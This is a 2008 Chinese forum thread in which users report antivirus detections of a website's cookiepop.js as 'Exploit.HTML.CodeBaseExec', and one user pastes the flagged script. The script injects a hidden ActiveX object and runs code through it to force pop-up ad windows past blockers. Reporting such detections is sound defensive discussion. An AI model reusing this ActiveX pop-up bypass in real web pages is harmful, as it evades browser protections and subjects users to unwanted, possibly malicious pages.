http://www.xbt.com.cn/cookiepop.js

尤金卡巴斯基

2008-6-8 22:25:25 URL: http://www.xbt.com.cn/cookiepop.js 检测到木马程序 'Exploit.HTML.CodeBaseExec'

aerbeisi

.

lion1982921

kav2009报

BING126

上报了

qigang

//function openwin()
//{
//window.showModelessDialog("/www.thethirdmedia.com.htm","scroll:0;status:0;help:0;resizable:1;dialogWidth:10px;dialogHeight:10px")
//}

function shellscript()
{
   var now = new Date();
   var sec = now.getSeconds();
   var poll = sec ;
   var popurl = "";
   if(poll == 0)
   {
          popurl = "http://www.singbomb.com/hotsingerpp.htm";
   }
   else
   {
          popurl = "http://www.thethirdmedia.com/pc/pjbj/";
   }
        window.focus();
        open(popurl,"_blank","scrollbar=no");
}

function openwinaction()
{       
  try
  {
        x11111.DOM.Script.execScript(shellscript.toString());
        x11111.DOM.Script.setTimeout("shellscript()");
  }
  catch(exception){;}
}

function openwin()
{
        var xssdom = '<object id="x11111" classid="clsid:2D360201-FFF5-11d1-8D03-00A0C959BC0A" width="1" height="1" align="middle"></object>';
        xpop.innerHTML = xssdom;//document.write(xssdom);

        //xssdom.ActivateApplets = "1";
        //xssdom.ActivateActiveXControls = "1";
        setTimeout('openwinaction()','500');
}



function getCookie(cookiename)
{
        var cookiestring=""+document.cookie;
        var index1=cookiestring.indexOf(cookiename);
       
        if (index1==-1 || cookiename=="") return "";
       
        var index2=cookiestring.indexOf(';',index1);
        if (index2==-1) index2=cookiestring.length;
        //return unescape(cookiestring.substring(index1+cookiename.length+1,index2));
       
        var rvalue = unescape(cookiestring.substring(index1 + cookiename.length + 1 , index2));
       
        return rvalue;
}




function newcookie(id,value,idinteral)
{
        var expires=new Date();       
        expires.setTime(expires.getTime()+ idinteral*60*1000);//idintreal * 60s       
        var expiryDate=expires.toGMTString();
        document.cookie=id+"="+value+";path=/;expires="+expiryDate;//放置到根
        //alert(document.cookie);
}

function loadpopup()
{
if (getCookie("xbtAlerted")=="")
{
  newcookie("xbtAlerted","yes",60);
  //openwin();
}
else
  {}
}

SIGKILL

已阻止的「网站页面窗口抢夺前台焦点」 [http://www.xbt.com.cn/cookiepop.js]

电影结束了

BD挂。。。

kachiko

avast！报，home版

palfan

什么软件？

kkgh

瑞星个人防火墙阻止